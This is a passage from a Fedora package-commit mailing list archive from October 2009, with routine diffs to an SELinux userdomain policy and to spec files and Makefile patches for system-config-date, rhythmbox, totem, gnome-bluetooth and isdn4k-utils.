-@@ -865,51 +946,83 @@
+@@ -865,51 +946,84 @@
  
  	userdom_restricted_user_template($1)
  
@@ -29583,12 +29583,12 @@ diff -b -B --ignore-all-space --exclude-
  	auth_role($1_r, $1_t)
 -	auth_search_pam_console_data($1_t)
 +	auth_search_pam_console_data($1_usertype)
++
++	xserver_role($1_r, $1_t)
++	xserver_communicate($1_usertype, $1_usertype)
  
 -	dev_read_sound($1_t)
 -	dev_write_sound($1_t)
-+	xserver_role($1_r, $1_t)
-+	xserver_communicate($1_usertype, $1_usertype)
-+
 +	dev_read_sound($1_usertype)
 +	dev_write_sound($1_usertype)
  	# gnome keyring wants to read this.
@@ -29609,6 +29609,7 @@ diff -b -B --ignore-all-space --exclude-
  	selinux_get_enforce_mode($1_t)
 +	seutil_exec_restorecond($1_t)
 +	seutil_read_file_contexts($1_t)
++	seutil_read_default_contexts($1_t)
 +
 +	optional_policy(`
 +		alsa_read_rw_config($1_usertype)
@@ -29663,7 +29664,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -943,8 +1056,8 @@
+@@ -943,8 +1057,8 @@
  	# Declarations
  	#
  
@@ -29673,7 +29674,7 @@ diff -b -B --ignore-all-space --exclude-
  	userdom_common_user_template($1)
  
  	##############################
-@@ -953,58 +1066,67 @@
+@@ -953,58 +1067,67 @@
  	#
  
  	# port access is audited even if dac would not have allowed it, so dontaudit it here
@@ -29771,7 +29772,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1162,7 @@
+@@ -1040,7 +1163,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -29780,7 +29781,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1171,7 @@
+@@ -1049,8 +1172,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -29790,7 +29791,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1196,9 @@
+@@ -1075,6 +1197,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -29800,7 +29801,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1213,7 @@
+@@ -1089,6 +1214,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -29808,7 +29809,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1221,6 @@
+@@ -1096,8 +1222,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -29817,7 +29818,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,6 +1247,8 @@
+@@ -1124,6 +1248,8 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -29826,7 +29827,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_set_all_quotas($1_t)
  	fs_exec_noxattr($1_t)
  
-@@ -1152,20 +1277,6 @@
+@@ -1152,20 +1278,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -29847,7 +29848,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1322,7 @@
+@@ -1211,6 +1323,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -29855,7 +29856,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1388,15 @@
+@@ -1276,11 +1389,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -29871,7 +29872,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1507,13 @@
+@@ -1391,12 +1508,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -29886,7 +29887,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1546,14 @@
+@@ -1429,6 +1547,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -29901,7 +29902,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1569,11 @@
+@@ -1444,9 +1570,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -29913,7 +29914,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1630,25 @@
+@@ -1503,6 +1631,25 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -29939,7 +29940,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1723,8 @@
+@@ -1577,6 +1724,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -29948,7 +29949,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1818,7 @@
+@@ -1670,6 +1819,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -29956,7 +29957,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1946,32 @@
+@@ -1797,19 +1947,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -29996,7 +29997,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2006,7 @@
+@@ -1844,6 +2007,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -30004,7 +30005,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2554,7 @@
+@@ -2391,27 +2555,7 @@
  
  ########################################
  ## <summary>
@@ -30033,7 +30034,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2749,7 +2892,7 @@
+@@ -2749,7 +2893,7 @@
  
  	domain_entry_file_spec_domtrans($1, unpriv_userdomain)
  	allow unpriv_userdomain $1:fd use;
@@ -30042,7 +30043,7 @@ diff -b -B --ignore-all-space --exclude-
  	allow unpriv_userdomain $1:process sigchld;
  ')
  
-@@ -2765,11 +2908,32 @@
+@@ -2765,11 +2909,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -30077,7 +30078,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3061,25 @@
+@@ -2897,7 +3062,25 @@
  		type user_tmp_t;
  	')
  
@@ -30104,7 +30105,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2934,6 +3116,7 @@
+@@ -2934,6 +3117,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -30112,7 +30113,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3247,559 @@
+@@ -3064,3 +3248,559 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')



From nphilipp at fedoraproject.org  Tue Oct 20 12:12:56 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Tue, 20 Oct 2009 12:12:56 +0000 (UTC)
Subject: rpms/system-config-date/devel .cvsignore, 1.111, 1.112 sources,
	1.123, 1.124 system-config-date.spec, 1.131, 1.132
Message-ID: <20091020121256.1409C11C0081@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/system-config-date/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24501

Modified Files:
	.cvsignore sources system-config-date.spec 
Log Message:
version 1.9.53


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/devel/.cvsignore,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- .cvsignore	1 Oct 2009 13:45:59 -0000	1.111
+++ .cvsignore	20 Oct 2009 12:12:55 -0000	1.112
@@ -1 +1 @@
-system-config-date-1.9.52.tar.bz2
+system-config-date-1.9.53.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/devel/sources,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- sources	1 Oct 2009 13:45:59 -0000	1.123
+++ sources	20 Oct 2009 12:12:55 -0000	1.124
@@ -1 +1 @@
-d5402278227ca14cb26b836343a8d59a  system-config-date-1.9.52.tar.bz2
+3659e166608c8d6703de23f8ca6af9f0  system-config-date-1.9.53.tar.bz2


Index: system-config-date.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/devel/system-config-date.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- system-config-date.spec	1 Oct 2009 13:45:59 -0000	1.131
+++ system-config-date.spec	20 Oct 2009 12:12:55 -0000	1.132
@@ -17,7 +17,7 @@
 
 Summary: A graphical interface for modifying system date and time
 Name: system-config-date
-Version: 1.9.52
+Version: 1.9.53
 Release: 1%{?dist}
 URL: http://fedorahosted.org/%{name}
 License: GPLv2+
@@ -125,6 +125,9 @@ fi
 #%{python_sitelib}/scdate.dbus-%{version}-py%{python_version}.egg-info
 
 %changelog
+* Tue Oct 20 2009 Nils Philippsen <nils at redhat.com> - 1.9.53-1
+- make translating time zones more robust (#525921)
+
 * Thu Oct 01 2009 Nils Philippsen <nils at redhat.com> - 1.9.52-1
 - pull in fixed Malayalam translations (#526636)
 



From nphilipp at fedoraproject.org  Tue Oct 20 12:13:06 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Tue, 20 Oct 2009 12:13:06 +0000 (UTC)
Subject: rpms/system-config-date/F-12 .cvsignore, 1.111, 1.112 sources, 1.123,
	1.124 system-config-date.spec, 1.131, 1.132
Message-ID: <20091020121306.6061211C0081@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/system-config-date/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24613

Modified Files:
	.cvsignore sources system-config-date.spec 
Log Message:
version 1.9.53


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/F-12/.cvsignore,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- .cvsignore	1 Oct 2009 13:45:57 -0000	1.111
+++ .cvsignore	20 Oct 2009 12:13:06 -0000	1.112
@@ -1 +1 @@
-system-config-date-1.9.52.tar.bz2
+system-config-date-1.9.53.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/F-12/sources,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- sources	1 Oct 2009 13:45:57 -0000	1.123
+++ sources	20 Oct 2009 12:13:06 -0000	1.124
@@ -1 +1 @@
-d5402278227ca14cb26b836343a8d59a  system-config-date-1.9.52.tar.bz2
+3659e166608c8d6703de23f8ca6af9f0  system-config-date-1.9.53.tar.bz2


Index: system-config-date.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/F-12/system-config-date.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- system-config-date.spec	1 Oct 2009 13:45:57 -0000	1.131
+++ system-config-date.spec	20 Oct 2009 12:13:06 -0000	1.132
@@ -17,7 +17,7 @@
 
 Summary: A graphical interface for modifying system date and time
 Name: system-config-date
-Version: 1.9.52
+Version: 1.9.53
 Release: 1%{?dist}
 URL: http://fedorahosted.org/%{name}
 License: GPLv2+
@@ -125,6 +125,9 @@ fi
 #%{python_sitelib}/scdate.dbus-%{version}-py%{python_version}.egg-info
 
 %changelog
+* Tue Oct 20 2009 Nils Philippsen <nils at redhat.com> - 1.9.53-1
+- make translating time zones more robust (#525921)
+
 * Thu Oct 01 2009 Nils Philippsen <nils at redhat.com> - 1.9.52-1
 - pull in fixed Malayalam translations (#526636)
 



From hadess at fedoraproject.org  Tue Oct 20 12:16:44 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 12:16:44 +0000 (UTC)
Subject: rpms/rhythmbox/devel rhythmbox.spec,1.271,1.272
Message-ID: <20091020121644.3037C11C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26077

Modified Files:
	rhythmbox.spec 
Log Message:
Fix makefile generation


Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/devel/rhythmbox.spec,v
retrieving revision 1.271
retrieving revision 1.272
diff -u -p -r1.271 -r1.272
--- rhythmbox.spec	19 Oct 2009 17:04:23 -0000	1.271
+++ rhythmbox.spec	20 Oct 2009 12:16:43 -0000	1.272
@@ -96,9 +96,9 @@ from, and sending media to UPnP/DLNA net
 
 %patch1 -p1 -b .itms
 %patch2 -p1 -b .daap
-autoreconf -i
 %patch3 -p1 -b .http-head
 %patch4 -p1 -b .bicubic
+autoreconf -i
 
 # Use the installed louie, not the one in Coherence
 find plugins/coherence/upnp_coherence/ -type f -exec sed -i 's/coherence.extern.louie as louie/louie/' '{}' ';'



From hadess at fedoraproject.org  Tue Oct 20 12:22:47 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 12:22:47 +0000 (UTC)
Subject: rpms/totem/F-11 .cvsignore, 1.76, 1.77 sources, 1.76,
	1.77 totem.spec, 1.247,
	1.248 0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch,
	1.1, NONE 0001-Fix-crash-when-a-storage-volume-has-an-emblem.patch,
	1.2, NONE
Message-ID: <20091020122247.A0E9211C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27582

Modified Files:
	.cvsignore sources totem.spec 
Removed Files:
	0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch 
	0001-Fix-crash-when-a-storage-volume-has-an-emblem.patch 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-1
- Update to 2.26.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/.cvsignore,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- .cvsignore	30 Jun 2009 09:12:24 -0000	1.76
+++ .cvsignore	20 Oct 2009 12:22:47 -0000	1.77
@@ -1 +1 @@
-totem-2.26.3.tar.bz2
+totem-2.26.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/sources,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- sources	30 Jun 2009 09:12:25 -0000	1.76
+++ sources	20 Oct 2009 12:22:47 -0000	1.77
@@ -1 +1 @@
-f8f7390f5d93268cd200086a1b4f765a  totem-2.26.3.tar.bz2
+a098a4f2a95461d672a009c25a32ee51  totem-2.26.4.tar.bz2


Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/totem.spec,v
retrieving revision 1.247
retrieving revision 1.248
diff -u -p -r1.247 -r1.248
--- totem.spec	19 Oct 2009 15:23:37 -0000	1.247
+++ totem.spec	20 Oct 2009 12:22:47 -0000	1.248
@@ -8,8 +8,8 @@
 
 Summary: Movie player for GNOME
 Name: totem
-Version: 2.26.3
-Release: 7%{?dist}
+Version: 2.26.4
+Release: 1%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -17,8 +17,6 @@ Source0: http://download.gnome.org/sourc
 Source1: totem-bin-backend-ondemand.sh
 # Will be removed when we switch to playbin2
 Patch0: 0001-Set-the-PA-stream-volume-from-Totem.patch
-Patch1: 0001-Fix-crash-when-a-storage-volume-has-an-emblem.patch
-Patch2: 0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 Requires(pre): GConf2 >= 2.14
@@ -212,8 +210,6 @@ audio and video files in the properties 
 %setup -q -c
 pushd totem-%{version}/
 %patch0 -p1 -b .pulsesink-vol
-%patch1 -p1 -b .emblemed-drive-crash
-%patch2 -p1 -b .youtube-urls
 popd
 # Whatever needs to be changed in both copies do here
 ## remember to update me when changing %doc
@@ -487,6 +483,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-1
+- Update to 2.26.4
+
 * Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-7
 - Update pulsesink patch to use bicubic volumes (#512090)
 


--- 0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch DELETED ---


--- 0001-Fix-crash-when-a-storage-volume-has-an-emblem.patch DELETED ---



From hadess at fedoraproject.org  Tue Oct 20 12:24:24 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 12:24:24 +0000 (UTC)
Subject: rpms/gnome-bluetooth/devel .cvsignore, 1.22,
	1.23 gnome-bluetooth.spec, 1.94, 1.95 sources, 1.23, 1.24
Message-ID: <20091020122424.8C4A411C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-bluetooth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27902

Modified Files:
	.cvsignore gnome-bluetooth.spec sources 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
- Update to 2.28.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/devel/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	29 Sep 2009 01:12:21 -0000	1.22
+++ .cvsignore	20 Oct 2009 12:24:24 -0000	1.23
@@ -1 +1 @@
-gnome-bluetooth-2.28.1.tar.bz2
+gnome-bluetooth-2.28.2.tar.bz2


Index: gnome-bluetooth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/devel/gnome-bluetooth.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- gnome-bluetooth.spec	29 Sep 2009 10:38:32 -0000	1.94
+++ gnome-bluetooth.spec	20 Oct 2009 12:24:24 -0000	1.95
@@ -1,5 +1,5 @@
 Name:		gnome-bluetooth
-Version:	2.28.1
+Version:	2.28.2
 Release:	1%{?dist}
 Summary:	Bluetooth graphical utilities
 
@@ -196,6 +196,9 @@ fi
 %{_datadir}/gtk-doc/html/gnome-bluetooth/
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
+- Update to 2.28.2
+
 * Tue Sep 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
 - Update to 2.28.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	29 Sep 2009 01:12:22 -0000	1.23
+++ sources	20 Oct 2009 12:24:24 -0000	1.24
@@ -1 +1 @@
-a94d95bf4b3a0084bd6eb397bbe92b10  gnome-bluetooth-2.28.1.tar.bz2
+64b55a4659ef29717ebd60b33cae480a  gnome-bluetooth-2.28.2.tar.bz2



From than at fedoraproject.org  Tue Oct 20 12:25:48 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue, 20 Oct 2009 12:25:48 +0000 (UTC)
Subject: rpms/isdn4k-utils/F-12 isdn4k-utils-CVS-2009-10-20-lib64.patch, NONE,
	1.1 isdn4k-utils-CVS-2009-10-20-redhat.patch, NONE,
	1.1 isdn4k-utils.spec, 1.81, 1.82 sources, 1.15,
	1.16 isdn4k-utils-CVS-2004-11-18-lib64.patch, 1.2,
	NONE isdn4k-utils-CVS-2006-02-13-cleanup.patch, 1.1,
	NONE isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch, 1.1,
	NONE isdn4k-utils-CVS-2006-07-20-redhat.patch, 1.2,
	NONE isdn4k-utils-CVS-2008-01-07-redhat.patch, 1.1,
	NONE isdn4k-utils-gcc3x.patch, 1.1, NONE
Message-ID: <20091020122548.4146611C0081@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/isdn4k-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28176

Modified Files:
	isdn4k-utils.spec sources 
Added Files:
	isdn4k-utils-CVS-2009-10-20-lib64.patch 
	isdn4k-utils-CVS-2009-10-20-redhat.patch 
Removed Files:
	isdn4k-utils-CVS-2004-11-18-lib64.patch 
	isdn4k-utils-CVS-2006-02-13-cleanup.patch 
	isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch 
	isdn4k-utils-CVS-2006-07-20-redhat.patch 
	isdn4k-utils-CVS-2008-01-07-redhat.patch 
	isdn4k-utils-gcc3x.patch 
Log Message:
- add missing man pages
- add upstream fixes



isdn4k-utils-CVS-2009-10-20-lib64.patch:
 Makefile.template |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE isdn4k-utils-CVS-2009-10-20-lib64.patch ---
diff -up isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template.me isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template
--- isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template.me	2009-10-20 14:08:23.000000000 +0200
+++ isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template	2009-10-20 14:09:17.000000000 +0200
@@ -8,7 +8,7 @@
 #  as published by the Free Software Foundation; either version
 #  2 of the License, or (at your option) any later version.
 
-PLUGINDIR=${DESTDIR}/usr/lib/pppd/$(PPPVERSION)
+PLUGINDIR=${DESTDIR}/$(LIBDIR)/pppd/$(PPPVERSION)
 
 include $(TOPDIR)/Rules.make
 

isdn4k-utils-CVS-2009-10-20-redhat.patch:
 isdn4k-utils-CVS-2003-09-23/.config.rpm                          |   49 +++++-----
 isdn4k-utils-CVS-2003-09-23/act2000/Makefile.in                  |   10 +-
 isdn4k-utils-CVS-2003-09-23/areacode/Makefile.in                 |    2 
 isdn4k-utils-CVS-2003-09-23/avmb1/Makefile.in                    |    6 -
 isdn4k-utils-CVS-2003-09-23/capifax/Makefile.am                  |    2 
 isdn4k-utils-CVS-2003-09-23/capiinfo/Makefile.am                 |    2 
 isdn4k-utils-CVS-2003-09-23/capiinit/Makefile.am                 |    2 
 isdn4k-utils-CVS-2003-09-23/divertctrl/Makefile.in               |    8 -
 isdn4k-utils-CVS-2003-09-23/doc/Makefile.in                      |    2 
 isdn4k-utils-CVS-2003-09-23/eicon/Makefile.in                    |   10 +-
 isdn4k-utils-CVS-2003-09-23/hisax/Makefile.in                    |    8 -
 isdn4k-utils-CVS-2003-09-23/icn/Makefile.in                      |   10 +-
 isdn4k-utils-CVS-2003-09-23/imon/Makefile.in                     |    8 -
 isdn4k-utils-CVS-2003-09-23/imontty/Makefile                     |    6 -
 isdn4k-utils-CVS-2003-09-23/ipppd/ccp.c                          |    2 
 isdn4k-utils-CVS-2003-09-23/ipppstats/Makefile.in                |    8 -
 isdn4k-utils-CVS-2003-09-23/iprofd/Makefile.in                   |    8 -
 isdn4k-utils-CVS-2003-09-23/isdnctrl/Makefile.in                 |    8 -
 isdn4k-utils-CVS-2003-09-23/isdnlog/Makefile.in                  |   12 +-
 isdn4k-utils-CVS-2003-09-23/isdnlog/samples/callerid.conf        |   35 ++-----
 isdn4k-utils-CVS-2003-09-23/isdnlog/tools/cdb/Makefile.in        |    4 
 isdn4k-utils-CVS-2003-09-23/isdnlog/tools/dest/Makefile.in       |    8 -
 isdn4k-utils-CVS-2003-09-23/isdnlog/tools/zone/Makefile.in       |    6 -
 isdn4k-utils-CVS-2003-09-23/lib/Makefile.in                      |    2 
 isdn4k-utils-CVS-2003-09-23/loop/Makefile.in                     |    8 -
 isdn4k-utils-CVS-2003-09-23/pcbit/Makefile.in                    |    8 -
 isdn4k-utils-CVS-2003-09-23/rcapid/Makefile.am                   |    2 
 isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxd.conf.example     |    6 -
 isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxgetty.conf.example |   20 ++--
 isdn4k-utils-CVS-2003-09-23/xisdnload/Imakefile                  |    2 
 isdn4k-utils-CVS-2005-02-16/ipppd/Makefile.in                    |   10 +-
 isdn4k-utils-CVS-2005-02-16/isdnlog/tools/Makefile               |    2 
 isdn4k-utils-CVS-2005-02-16/lib/Makefile                         |    2 
 isdn4k-utils-CVS-2009-10-20/Makefile                             |   12 --
 34 files changed, 141 insertions(+), 149 deletions(-)

--- NEW FILE isdn4k-utils-CVS-2009-10-20-redhat.patch ---
--- isdn4k-utils-CVS-2003-09-23/act2000/Makefile.in.redhat	2002-07-19 21:03:49.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/act2000/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/act2000
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= actctrl
@@ -18,9 +18,9 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/areacode/Makefile.in.redhat	1999-06-19 11:39:59.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/areacode/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -12,7 +12,7 @@
 	# only ones that _really_ exist on _every_ system.
 	#
 	BUILDOPTS   := $(DATAOPTS)
-	INSTALLOPTS := $(DATAOPTS) INSTALL="install -o 0 -g 0 -m 644"
+	INSTALLOPTS := $(DATAOPTS) INSTALL="install -m 644"
 endif
 
 all: .depend
--- isdn4k-utils-CVS-2003-09-23/avmb1/Makefile.in.redhat	2002-07-19 21:03:50.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/avmb1/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,7 +5,7 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
+CFLAGS			= $(RPM_OPT_FLAGS)
 LDFLAGS			= -L../lib @LIBS@
 INCLUDES		= -I.
 PROGRAMS		= avmcapictrl
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/capifax/Makefile.am.redhat	2000-03-03 16:54:12.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/capifax/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in
 
 INCLUDES = -I../capi20 $(all_includes)
-CFLAGS = -Wall -O2
+CFLAGS = -Wall $(RPM_OPT_FLAGS)
 LDFLAGS = -L../capi20/.libs -L../capi20 $(all_libraries)
 LDADD = -lcapi20
 
--- isdn4k-utils-CVS-2003-09-23/capiinfo/Makefile.am.redhat	2000-10-20 19:14:20.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/capiinfo/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in comperr
 
 INCLUDES = -I../capi20 $(all_includes)
-CFLAGS = -Wall -O2
+CFLAGS = -Wall $(RPM_OPT_FLAGS)
 LDFLAGS = -L../capi20/.libs -L../capi20 $(all_libraries)
 LDADD = -lcapi20
 
--- isdn4k-utils-CVS-2003-09-23/capiinit/Makefile.am.redhat	2000-03-17 17:19:43.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/capiinit/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in comperr core
 
 INCLUDES = $(all_includes)
